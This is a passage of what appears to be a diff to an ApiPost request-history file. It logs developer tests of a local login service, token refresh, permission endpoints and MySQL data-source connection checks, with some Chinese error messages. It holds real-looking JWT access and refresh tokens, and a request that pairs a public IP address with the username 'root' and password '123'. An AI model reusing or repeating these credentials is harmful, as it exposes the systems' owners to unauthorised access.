\\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":49.0,\"second\":33.0,\"nano\":2.543556E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":50.0,\"second\":0.0,\"nano\":2.733857E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":50.0,\"second\":33.0,\"nano\":7.618451E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":50.0,\"second\":59.0,\"nano\":5.149515E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":51.0,\"second\":29.0,\"nano\":1.852926E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":51.0,\"second\":49.0,\"nano\":5.272488E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":52.0,\"second\":10.0,\"nano\":9.190786E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":52.0,\"second\":47.0,\"nano\":5.611626E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":53.0,\"second\":31.0,\"nano\":2.518483E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":56.0,\"second\":24.0,\"nano\":9.24546E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 0,\\n \\\"message\\\": \\\"success\\\",\\n \\\"data\\\": {\\n \\\"access_token\\\": \\\"eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIyIiwiZXhwIjoxNzE5MzY4NzkzLCJjcmVhdGVkIjoxNzE5MzY2OTkzMzkxLCJ1c2VybmFtZSI6InJvc2UifQ.SEY9yGq10c6Rcqe8PwC6WECbTdSRV60SVdl1SeIS-A8_sTbfECrJKTgnA1KLvgDefc_yAJVRfBnpxJ_YDvckYg\\\",\\n \\\"expire_in\\\": 1800000,\\n \\\"refresh_token\\\": \\\"eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIyIiwiZXhwIjoxNzE5MzcwNTkzLCJjcmVhdGVkIjoxNzE5MzY2OTkzNTEwLCJ1c2VybmFtZSI6InJvc2UifQ.4Zy5Bf06ehNGWFxVXwjI-VvPumjeHg4eJo5Vy2SDuNN-XeBQzLuOnSXQLpKXxWIs_w-FQkHIOmtxKXI0X6lj5Q\\\"\\n }\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":56.0,\"second\":33.0,\"nano\":5.838447E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"bbbb\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024,\"month\":6,\"day\":26},\"time\":{\"hour\":9,\"minute\":57,\"second\":6,\"nano\":463558300}}}],\"/user/token/refresh\":[{\"url\":\"http://localhost:9092/user/token/refresh\",\"header\":[{\"is_checked\":1.0,\"key\":\"${auth.jwt.header}\",\"type\":\"Text\",\"value\":\"eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIyIiwiZXhwIjoxNzE5MTQ2NDIyLCJjcmVhdGVkIjoxNzE5MTM5MjIyODAxLCJ1c2VybmFtZSI6InJvc2UifQ.7yWdteyrvUKODgjwiTnN0b8Ljs3rUGIlRWV0g17w3GDP5e2Ko1WQ8G05vOiKFqZ5RWYdlxKJe79pftMqfDkFxA\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/user/token/refresh\\n\\n\\u003c!doctype html\\u003e\\u003chtml lang\\u003d\\\"en\\\"\\u003e\\u003chead\\u003e\\u003ctitle\\u003eHTTP Status 400 – Bad Request\\u003c/title\\u003e\\u003cstyle type\\u003d\\\"text/css\\\"\\u003ebody {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}\\u003c/style\\u003e\\u003c/head\\u003e\\u003cbody\\u003e\\u003ch1\\u003eHTTP Status 400 – Bad Request\\u003c/h1\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":18.0,\"minute\":51.0,\"second\":22.0,\"nano\":6.468186E8}}},{\"url\":\"http://localhost:9092/user/token/refresh\",\"header\":[{\"is_checked\":1.0,\"key\":\"token\",\"type\":\"Text\",\"value\":\"eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIyIiwiZXhwIjoxNzE5MTQ2NDIyLCJjcmVhdGVkIjoxNzE5MTM5MjIyODAxLCJ1c2VybmFtZSI6InJvc2UifQ.7yWdteyrvUKODgjwiTnN0b8Ljs3rUGIlRWV0g17w3GDP5e2Ko1WQ8G05vOiKFqZ5RWYdlxKJe79pftMqfDkFxA\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/user/token/refresh\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSun Jun 23 18:55:11 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dBad Request, status\\u003d400).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":18.0,\"minute\":55.0,\"second\":11.0,\"nano\":5.263264E8}}},{\"url\":\"http://localhost:9092/user/token/refresh\",\"header\":[{\"is_checked\":1.0,\"key\":\"Authorization\",\"type\":\"Text\",\"value\":\"eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIyIiwiZXhwIjoxNzE5MTQ2NDIyLCJjcmVhdGVkIjoxNzE5MTM5MjIyODAxLCJ1c2VybmFtZSI6InJvc2UifQ.7yWdteyrvUKODgjwiTnN0b8Ljs3rUGIlRWV0g17w3GDP5e2Ko1WQ8G05vOiKFqZ5RWYdlxKJe79pftMqfDkFxA\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"token 已过期或验证不正确!\\\",\\n \\\"data\\\": null,\\n \\\"dataSize\\\": 0\\n}\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":19.0,\"minute\":14.0,\"second\":30.0,\"nano\":3.816113E8}}},{\"url\":\"http://localhost:9092/user/token/refresh\",\"header\":[{\"is_checked\":1.0,\"key\":\"Authorization}\",\"type\":\"Text\",\"value\":\"eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIyIiwiZXhwIjoxNzE5MTQ0OTYwLCJjcmVhdGVkIjoxNzE5MTQxMzYwNjAyLCJ1c2VybmFtZSI6InJvc2UifQ._EWKFEJPDUtNVA7RiRnbAW1LnVeF75bIDQUqdIfb_w7tWMzJJ15xZF_aHkqsy4tOaeQvPCnrcS5PResueZBmCg\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/user/token/refresh\\n\\n\\u003c!doctype html\\u003e\\u003chtml lang\\u003d\\\"en\\\"\\u003e\\u003chead\\u003e\\u003ctitle\\u003eHTTP Status 400 – Bad Request\\u003c/title\\u003e\\u003cstyle type\\u003d\\\"text/css\\\"\\u003ebody {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}\\u003c/style\\u003e\\u003c/head\\u003e\\u003cbody\\u003e\\u003ch1\\u003eHTTP Status 400 – Bad Request\\u003c/h1\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":19.0,\"minute\":16.0,\"second\":27.0,\"nano\":3.958766E8}}}],\"/permission/permission/add\":[{\"url\":\"http://localhost:9092/permission/permission/add\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/permission/permission/add\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSun Jun 23 20:23:22 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":20.0,\"minute\":23.0,\"second\":22.0,\"nano\":4.858874E8}}},{\"url\":\"http://localhost:9092/permission/permission/add\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/permission/permission/add\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSun Jun 23 20:30:16 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":20.0,\"minute\":30.0,\"second\":16.0,\"nano\":1.806983E8}}},{\"url\":\"http://localhost:9092/permission/permission/add\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{}\",\"responseBody\":\"true\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":20.0,\"minute\":31.0,\"second\":35.0,\"nano\":7.721305E8}}}],\"/permission/get\":[{\"url\":\"http://localhost:9092/permission/get\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"key\":\"roles\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/permission/get?roles\\u003d\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSun Jun 23 20:31:56 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":20.0,\"minute\":31.0,\"second\":56.0,\"nano\":8.779197E8}}}]}",
+ "ApiPost:METDOD_SEND_RECORD:etl-database-server": "{\"/datasource/testConnectMysql\":[{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"id\\\": 1,\\n \\\"databaseDescription\\\": \\\"\\\",\\n \\\"linkAddress\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": \\\"9098\\\",\\n \\\"databaseName\\\": \\\"\\\",\\n \\\"status\\\": 1,\\n \\\"explain\\\": \\\"\\\",\\n \\\"extraEvlop\\\": \\\"\\\",\\n \\\"databaseType\\\": 1,\\n \\\"url\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\",\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"createTime\\\": \\\"\\\",\\n \\\"updateTime\\\": \\\"\\\",\\n \\\"createBy\\\": 1,\\n \\\"updateBy\\\": 1,\\n \\\"isDelete\\\": 1\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/datasource/testConnectMysql\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"数据源描述不能为空, 数据库名称不能为空\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":11.0,\"minute\":40.0,\"second\":1.0,\"nano\":2.765494E8}}},{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"linkAddress\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": \\\"9098\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/datasource/testConnectMysql\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"数据源描述不能为空, 数据库类型id不能为空, 数据库名称不能为空\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":11.0,\"minute\":40.0,\"second\":13.0,\"nano\":9.466961E8}}},{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"id\\\": 1,\\n \\\"databaseDescription\\\": \\\"\\\",\\n \\\"linkAddress\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": \\\"9098\\\",\\n \\\"databaseName\\\": \\\"\\\",\\n \\\"status\\\": 1,\\n \\\"explain\\\": \\\"\\\",\\n \\\"extraEvlop\\\": \\\"\\\",\\n \\\"databaseType\\\": 1,\\n \\\"url\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\",\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"createTime\\\": \\\"\\\",\\n \\\"updateTime\\\": \\\"\\\",\\n \\\"createBy\\\": 1,\\n \\\"updateBy\\\": 1,\\n \\\"isDelete\\\": 1\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": null\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":11.0,\"minute\":41.0,\"second\":50.0,\"nano\":2.707687E8}}},{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"id\\\": 1,\\n \\\"databaseDescription\\\": \\\"\\\",\\n \\\"linkAddress\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": \\\"9098\\\",\\n \\\"databaseName\\\": \\\"etl\\\",\\n \\\"status\\\": 1,\\n \\\"explain\\\": \\\"\\\",\\n \\\"extraEvlop\\\": \\\"\\\",\\n \\\"databaseType\\\": 1,\\n \\\"url\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\",\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"createTime\\\": \\\"\\\",\\n \\\"updateTime\\\": \\\"\\\",\\n \\\"createBy\\\": 1,\\n \\\"updateBy\\\": 1,\\n \\\"isDelete\\\": 1\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": null\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":11.0,\"minute\":44.0,\"second\":33.0,\"nano\":2.39554E7}}},{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"id\\\": 1,\\n \\\"databaseDescription\\\": \\\"\\\",\\n \\\"linkAddress\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": \\\"9098\\\",\\n \\\"databaseName\\\": \\\"etl\\\",\\n \\\"status\\\": 1,\\n \\\"explain\\\": \\\"\\\",\\n \\\"extraEvlop\\\": \\\"\\\",\\n \\\"databaseType\\\": 1,\\n \\\"url\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\",\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"createTime\\\": \\\"\\\",\\n \\\"updateTime\\\": \\\"\\\",\\n \\\"createBy\\\": 1,\\n \\\"updateBy\\\": 1,\\n \\\"isDelete\\\": 1\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": null\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":11.0,\"minute\":44.0,\"second\":51.0,\"nano\":2.683386E8}}},{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"id\\\": 1,\\n \\\"databaseDescription\\\": \\\"\\\",\\n \\\"linkAddress\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": \\\"9098\\\",\\n \\\"databaseName\\\": \\\"\\\",\\n \\\"status\\\": 1,\\n \\\"explain\\\": \\\"\\\",\\n \\\"extraEvlop\\\": \\\"\\\",\\n \\\"databaseType\\\": 1,\\n \\\"url\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\",\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"createTime\\\": \\\"\\\",\\n \\\"updateTime\\\": \\\"\\\",\\n \\\"createBy\\\": 1,\\n \\\"updateBy\\\": 1,\\n \\\"isDelete\\\": 1\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": null\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":11.0,\"minute\":52.0,\"second\":31.0,\"nano\":9.074105E8}}},{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"123\\\",\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"databaseName\\\": \\\"\\\",\\n \\\"tableName\\\": \\\"\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: 